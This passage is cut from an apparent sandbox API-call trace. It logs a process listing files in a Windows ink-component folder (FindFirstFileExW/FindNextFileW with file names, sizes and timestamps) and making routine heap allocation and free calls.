ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0046.800] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4d78 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee1f18 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4d98 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2020 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.801] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4db8 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2128 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4dd8 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2230 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4df8 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2338 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5d08b1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x2f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="split.avi", cAlternateFileName="")) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4e18 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2440 [0046.802] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.802] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa23a9ac, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xa5a884b, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xa23a9ac, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tabskb.dll.mui", cAlternateFileName="")) returned 1 [0046.802] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4e38 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2548 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipBand.dll.mui", cAlternateFileName="")) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4e58 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2650 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipRes.dll.mui", cAlternateFileName="")) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4e78 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee2758 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5cd75ed, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5f38bbd, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5f38bbd, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.803] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4e98 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee54b8 [0046.804] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.804] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 1 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.804] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.804] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0xee3850 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x18) returned 0xee4eb8 [0046.804] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x100) returned 0xee55c0 [0046.804] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0xee3850) returned 1 [0046.804] FindNextFileW (in: hFindFile=0x459c38, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x0, dwReserved1=0x0, cFileName="TipTsf.dll.mui", cAlternateFileName="")) returned 0 [0046.804] GetLastError () returned 0x12 [0046.804] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\*", fInfoLevelId=0x1, lpFindFileData=0x17ae9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x17ae9d0) returned 0x459c78 [0046.804] FindClose (in: hFindFile=0x459c38 | out: hFindFile=0x459c38) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x9e0df36a, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9e0df36a, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a407849, ftCreationTime.dwHighDateTime=0x1c9ea0c, ftLastAccessTime.dwLowDateTime=0x9a407849, ftLastAccessTime.dwHighDateTime=0x1c9ea0c, ftLastWriteTime.dwLowDateTime=0x9a407849, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x15e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-correct.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23b3de0, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23b3de0, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a49fdc1, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x7c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-delete.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d9f3d, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x23d9f3d, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a4c5f1f, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x8200, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-join.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24261f7, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24261f7, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a538339, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0xf600, dwReserved0=0x0, dwReserved1=0x0, cFileName="boxed-split.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x244c354, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x244c354, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a55e497, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x30200, dwReserved0=0x0, dwReserved1=0x0, cFileName="correct.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x24be76b, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x24be76b, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5845f5, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="delete.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc8723b, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdc8723b, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkObj.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x0, dwReserved1=0x0, cFileName="InkWatson.exe.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="InputPersonalization.exe.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5800, dwReserved0=0x0, dwReserved1=0x0, cFileName="IPSEventLogMsg.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x250aa25, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x250aa25, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x9a5aa753, ftLastWriteTime.dwHighDateTime=0x1c9ea0c, nFileSizeHigh=0x0, nFileSizeLow=0x36400, dwReserved0=0x0, dwReserved1=0x0, cFileName="join.avi", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeca1847, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xf901a42, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xeca1847, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="rtscom.dll.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x110442fe, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ShapeCollector.exe.mui", cAlternateFileName="")) returned 1 [0046.805] FindNextFileW (in: hFindFile=0x459c78, lpFindFileData=0x17ae9d0 | out: lpFindFileData=0x17ae9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25c90f6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x25c90f6, 